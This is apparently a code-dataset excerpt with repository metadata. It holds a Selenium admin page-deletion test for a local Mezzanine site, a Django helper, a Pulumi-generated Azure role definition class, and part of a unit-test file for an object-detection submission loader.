| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b9a642e35a44c1fe4f60f5f9e438f8a567eccba2
| 6,007
|
py
|
Python
|
test/page_delete .py
|
Dibyadarshan/mezzanine
|
6bc046f086c70c1f6bda3458eafbbe2da54df0c8
|
[
"BSD-2-Clause"
] | null | null | null |
test/page_delete .py
|
Dibyadarshan/mezzanine
|
6bc046f086c70c1f6bda3458eafbbe2da54df0c8
|
[
"BSD-2-Clause"
] | null | null | null |
test/page_delete .py
|
Dibyadarshan/mezzanine
|
6bc046f086c70c1f6bda3458eafbbe2da54df0c8
|
[
"BSD-2-Clause"
] | null | null | null |
from selenium import webdriver
import time
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support.ui import Select
driver = webdriver.Firefox(executable_path="/home/anmol/PycharmProjects/prg1/geckodriver-v0.24.0-linux64/geckodriver")
wait = WebDriverWait(driver, 10)
# driver.implicitly_wait(2)
driver.get("http://127.0.0.1:8000/admin/login/?next=/admin/")
driver.maximize_window()
username = "demo"
password = "demo"
username_element = wait.until(EC.element_to_be_clickable((By.XPATH,"//*[@id='id_username']")))
username_element.send_keys(username)
password_element = wait.until(EC.element_to_be_clickable((By.XPATH,"//*[@id='id_password']")))
password_element.send_keys(password)
login = wait.until(EC.element_to_be_clickable((By.XPATH,'/html/body/div/div[2]/form/div[2]/input')))
login.click()
assert driver.current_url=="http://127.0.0.1:8000/admin/"
pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a')))
pages.click()
select_element = wait.until(
EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select')))
select_element = Select(select_element);
select_element.select_by_index(1);
title = "Page1 to delete"
content = "how delete a page1"
page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]')))
page_title.send_keys(title)
iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]')))
driver.switch_to.frame(iframe)
page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p')))
script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])"
driver.execute_script(script, page_content, content)
driver.switch_to.default_content()
page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]')))
page_save.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title)))
open_page.click()
delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a')))
delete_page.click()
confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]')))
confirm_delete.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a')))
pages.click()
select_element = wait.until(
EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select')))
select_element = Select(select_element);
select_element.select_by_index(1);
title = "Page2 to delete"
content = "how delete a page2"
page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]')))
page_title.send_keys(title)
iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]')))
driver.switch_to.frame(iframe)
page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p')))
script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])"
driver.execute_script(script, page_content, content)
driver.switch_to.default_content()
page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]')))
page_save.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title)))
open_page.click()
delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a')))
delete_page.click()
confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]')))
confirm_delete.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a')))
pages.click()
select_element = wait.until(
EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select')))
select_element = Select(select_element);
select_element.select_by_index(1);
title = "Page3 to delete"
content = "how delete a page3"
page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]')))
page_title.send_keys(title)
iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]')))
driver.switch_to.frame(iframe)
page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p')))
script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])"
driver.execute_script(script, page_content, content)
driver.switch_to.default_content()
page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]')))
page_save.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title)))
open_page.click()
delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a')))
delete_page.click()
confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]')))
confirm_delete.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "successfully" in bodyText.text
log_out = wait.until(EC.element_to_be_clickable((By.LINK_TEXT,"Log out")))
log_out.click()
bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body')))
assert "Logged out" in bodyText.text
driver.quit()
| 50.90678
| 118
| 0.757117
| 978
| 6,007
| 4.427403
| 0.105317
| 0.078984
| 0.096536
| 0.157968
| 0.855196
| 0.855196
| 0.821247
| 0.812471
| 0.812471
| 0.812471
| 0
| 0.015286
| 0.063426
| 6,007
| 118
| 119
| 50.90678
| 0.754355
| 0.004162
| 0
| 0.724771
| 0
| 0.082569
| 0.249958
| 0.151312
| 0
| 0
| 0
| 0
| 0.073395
| 1
| 0
| false
| 0.027523
| 0.06422
| 0
| 0.06422
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b9f5d62e168f834e52e3afa8245e95c3ecef7165
| 191
|
py
|
Python
|
core/bo/sala.py
|
ArthurGorgonio/suggestclasses
|
7e6ce79cca6cd92ed8a38b12707f900f019508c8
|
[
"MIT"
] | null | null | null |
core/bo/sala.py
|
ArthurGorgonio/suggestclasses
|
7e6ce79cca6cd92ed8a38b12707f900f019508c8
|
[
"MIT"
] | null | null | null |
core/bo/sala.py
|
ArthurGorgonio/suggestclasses
|
7e6ce79cca6cd92ed8a38b12707f900f019508c8
|
[
"MIT"
] | null | null | null |
from core.models import Sala
def get_salas():
"""
Lista todos as Salas. Retorna apenas salas do CERES.
"""
return Sala.objects.all().order_by('campus', 'sigla', 'nome')
| 21.222222
| 65
| 0.633508
| 26
| 191
| 4.576923
| 0.884615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.225131
| 191
| 8
| 66
| 23.875
| 0.804054
| 0.272251
| 0
| 0
| 0
| 0
| 0.12605
| 0
| 0
| 0
| 0
| 0.125
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6a0a0a9606140209d79e1c924cc4610b1836390a
| 11,936
|
py
|
Python
|
sdk/python/pulumi_azure/role/definition.py
|
AdminTurnedDevOps/pulumi-azure
|
affd9eaaee3016f350f0d0469694dbd52850300b
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/role/definition.py
|
AdminTurnedDevOps/pulumi-azure
|
affd9eaaee3016f350f0d0469694dbd52850300b
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/role/definition.py
|
AdminTurnedDevOps/pulumi-azure
|
affd9eaaee3016f350f0d0469694dbd52850300b
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class Definition(pulumi.CustomResource):
assignable_scopes: pulumi.Output[list]
"""
One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`.
"""
description: pulumi.Output[str]
"""
A description of the Role Definition.
"""
name: pulumi.Output[str]
"""
The name of the Role Definition. Changing this forces a new resource to be created.
"""
permissions: pulumi.Output[list]
"""
A `permissions` block as defined below.
* `actions` (`list`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `dataActions` (`list`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notActions` (`list`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notDataActions` (`list`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
"""
role_definition_id: pulumi.Output[str]
"""
A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created.
"""
scope: pulumi.Output[str]
"""
The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created.
"""
def __init__(__self__, resource_name, opts=None, assignable_scopes=None, description=None, name=None, permissions=None, role_definition_id=None, scope=None, __props__=None, __name__=None, __opts__=None):
"""
Manages a custom Role Definition, used to assign Roles to Users/Principals. See ['Understand role definitions'](https://docs.microsoft.com/en-us/azure/role-based-access-control/role-definitions) in the Azure documentation for more details.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[list] assignable_scopes: One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`.
:param pulumi.Input[str] description: A description of the Role Definition.
:param pulumi.Input[str] name: The name of the Role Definition. Changing this forces a new resource to be created.
:param pulumi.Input[list] permissions: A `permissions` block as defined below.
:param pulumi.Input[str] role_definition_id: A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created.
The **permissions** object supports the following:
* `actions` (`pulumi.Input[list]`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `dataActions` (`pulumi.Input[list]`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notActions` (`pulumi.Input[list]`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notDataActions` (`pulumi.Input[list]`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
if assignable_scopes is None:
raise TypeError("Missing required property 'assignable_scopes'")
__props__['assignable_scopes'] = assignable_scopes
__props__['description'] = description
__props__['name'] = name
if permissions is None:
raise TypeError("Missing required property 'permissions'")
__props__['permissions'] = permissions
__props__['role_definition_id'] = role_definition_id
if scope is None:
raise TypeError("Missing required property 'scope'")
__props__['scope'] = scope
super(Definition, __self__).__init__(
'azure:role/definition:Definition',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name, id, opts=None, assignable_scopes=None, description=None, name=None, permissions=None, role_definition_id=None, scope=None):
"""
Get an existing Definition resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param str id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[list] assignable_scopes: One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`.
:param pulumi.Input[str] description: A description of the Role Definition.
:param pulumi.Input[str] name: The name of the Role Definition. Changing this forces a new resource to be created.
:param pulumi.Input[list] permissions: A `permissions` block as defined below.
:param pulumi.Input[str] role_definition_id: A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created.
The **permissions** object supports the following:
* `actions` (`pulumi.Input[list]`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `dataActions` (`pulumi.Input[list]`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notActions` (`pulumi.Input[list]`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
* `notDataActions` (`pulumi.Input[list]`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
__props__["assignable_scopes"] = assignable_scopes
__props__["description"] = description
__props__["name"] = name
__props__["permissions"] = permissions
__props__["role_definition_id"] = role_definition_id
__props__["scope"] = scope
return Definition(resource_name, opts=opts, __props__=__props__)
def translate_output_property(self, prop):
return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| 85.870504
| 482
| 0.735841
| 1,480
| 11,936
| 5.811486
| 0.131081
| 0.044646
| 0.07255
| 0.060691
| 0.810952
| 0.798047
| 0.785723
| 0.770724
| 0.762818
| 0.762818
| 0
| 0.039609
| 0.160271
| 11,936
| 138
| 483
| 86.492754
| 0.818517
| 0.511478
| 0
| 0.032258
| 1
| 0
| 0.168667
| 0.010107
| 0
| 0
| 0
| 0
| 0
| 1
| 0.064516
| false
| 0.016129
| 0.096774
| 0.032258
| 0.322581
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a32e10cb7e9ec4312e58864aa6b06086a4f6dfe
| 26,335
|
py
|
Python
|
tests/test_submission_loader.py
|
jskinn/rvchallenge-evaluation
|
1b4bfcb2864e112a5c3ffeae39ea617c46a0bb33
|
[
"BSD-3-Clause"
] | 8
|
2019-05-02T19:06:02.000Z
|
2021-08-31T09:11:31.000Z
|
rvchallenge-evaluation-master/tests/test_submission_loader.py
|
robotic-vision-lab/Deep-Ensembles-For-Probabilistic-Object-Detection
|
82fd36376694f447ccb5564c7af4cc6128b3ea60
|
[
"Apache-2.0"
] | 1
|
2020-07-07T03:11:53.000Z
|
2020-07-07T03:11:53.000Z
|
rvchallenge-evaluation-master/tests/test_submission_loader.py
|
robotic-vision-lab/Deep-Ensembles-For-Probabilistic-Object-Detection
|
82fd36376694f447ccb5564c7af4cc6128b3ea60
|
[
"Apache-2.0"
] | 5
|
2019-02-13T06:03:15.000Z
|
2020-04-02T00:12:42.000Z
|
from __future__ import absolute_import, division, print_function, unicode_literals
import types
import os.path
import shutil
import json
import numpy as np
import tests.test_helpers as th
import data_holders
import submission_loader
import class_list
class TestSubmissionLoaderGenImgPBoxes(th.ExtendedTestCase):
def test_returns_empty_generator_for_no_detections(self):
gen = submission_loader.gen_img_pboxes({}, [[0], [0]])
self.assertIsInstance(gen, types.GeneratorType)
dets = list(gen)
self.assertEqual(dets, [])
def test_builds_detection_instances(self):
img_dets = [{
'label_probs': [0.1, 0.1, 0.1, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}, {
'label_probs': [0.8, 0.05, 0.05, 0.05, 0.05],
'bbox': [21, 81, 87, 112],
'covars': [[[15, 5], [5, 21]], [[100, 0], [0, 5]]]
}, {
'label_probs': [0.2, 0.1, 0.3, 0.1, 0.3],
'bbox': [3, 6, 13, 121]
}]
dets = list(submission_loader.gen_img_pboxes(img_dets, [list(range(5)), list(range(5))], num_classes=5))
self.assertEqual(len(img_dets), len(dets))
for idx in range(len(img_dets)):
self.assertIsInstance(dets[idx], data_holders.DetectionInstance)
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[0:5] = img_dets[idx]['label_probs']
self.assertNPEqual(expected_list, dets[idx].class_list)
def test_reorders_label_probs(self):
det = next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}], [[2, 1, 3], [0, 2, 3]], num_classes=4))
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[2] = 0.1
expected_list[1] = 0.3
expected_list[3] = 0.4
self.assertNPEqual(expected_list, det.class_list)
def test_normalizes_class_list(self):
det = next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.2, 0.3, 0.4, 0.5],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}], [list(range(5)), list(range(5))], num_classes=5))
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[0:5] = [0.1, 0.2, 0.3, 0.4, 0.5]
expected_list /= np.sum(expected_list)
self.assertNPEqual(expected_list, det.class_list)
def test_doesnt_normalize_underestimate(self):
det = next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}], [list(range(5)), list(range(5))], num_classes=5))
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[0:5] = [0.1, 0.1, 0.1, 0.1, 0.2]
self.assertNPEqual(expected_list, det.class_list)
def test_errors_for_missing_label_probs(self):
with self.assertRaises(KeyError) as cm:
next(submission_loader.gen_img_pboxes([{
# 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_label_probs_wrong_length(self):
with self.assertRaises(KeyError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46]
}], [list(range(5)), list(range(5))], num_classes=6, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_missing_bbox(self):
with self.assertRaises(KeyError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2]
# 'bbox': [12, 14, 55, 46]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_bbox_wrong_size(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46, 47]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_bbox_xmax_less_than_xmin(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [55, 14, 12, 46]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_bbox_ymax_less_than_ymin(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 46, 55, 14]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_invalid_cov(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[1, 0], [0, 1]]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_assymetric_cov(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 2], [3, 4]], [[1, 0], [0, 1]]]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[5, 6], [7, 8]]]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def test_errors_for_non_positive_definite_cov(self):
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
with self.assertRaises(ValueError) as cm:
next(submission_loader.gen_img_pboxes([{
'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 2], [2, 1]]]
}], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json'))
self.assert_contains_indexes(cm, 'test.json', 13, 0)
def assert_contains_indexes(self, cm, sequence_name, img_num, det_idx):
msg = str(cm.exception)
self.assertIn(str(sequence_name), msg)
self.assertIn(str(img_num), msg)
self.assertIn(str(det_idx), msg)
class TestSubmissionLoaderReadSequence(th.ExtendedTestCase):
temp_dir = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'temp')
def tearDown(self):
if os.path.isdir(self.temp_dir):
shutil.rmtree(self.temp_dir)
def make_sequence(self, detections):
os.makedirs(self.temp_dir, exist_ok=True)
json_file = os.path.join(self.temp_dir, 'test.json')
patch_classes(detections)
with open(json_file, 'w') as fp:
json.dump({
'classes': class_list.CLASSES,
'detections': detections
}, fp)
return json_file
def test_returns_generator_of_generators(self):
detections = [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
]
sequence_json = self.make_sequence(detections)
gen = submission_loader.read_sequence(sequence_json)
self.assertIsInstance(gen, types.GeneratorType)
seq_dets = list(gen)
self.assertEqual(len(detections), len(seq_dets))
for img_idx in range(len(seq_dets)):
self.assertIsInstance(seq_dets[img_idx], types.GeneratorType)
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
def test_slice_start_index(self):
det = {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}
detections = [
[det for _ in range(1)],
[det for _ in range(3)],
[det for _ in range(5)],
[det for _ in range(7)],
]
sequence_json = self.make_sequence(detections)
gen = submission_loader.read_sequence(sequence_json, start_index=2)
self.assertIsInstance(gen, types.GeneratorType)
seq_dets = list(gen)
self.assertEqual(len(detections) - 2, len(seq_dets))
for img_idx in range(2, len(seq_dets)):
self.assertIsInstance(seq_dets[img_idx], types.GeneratorType)
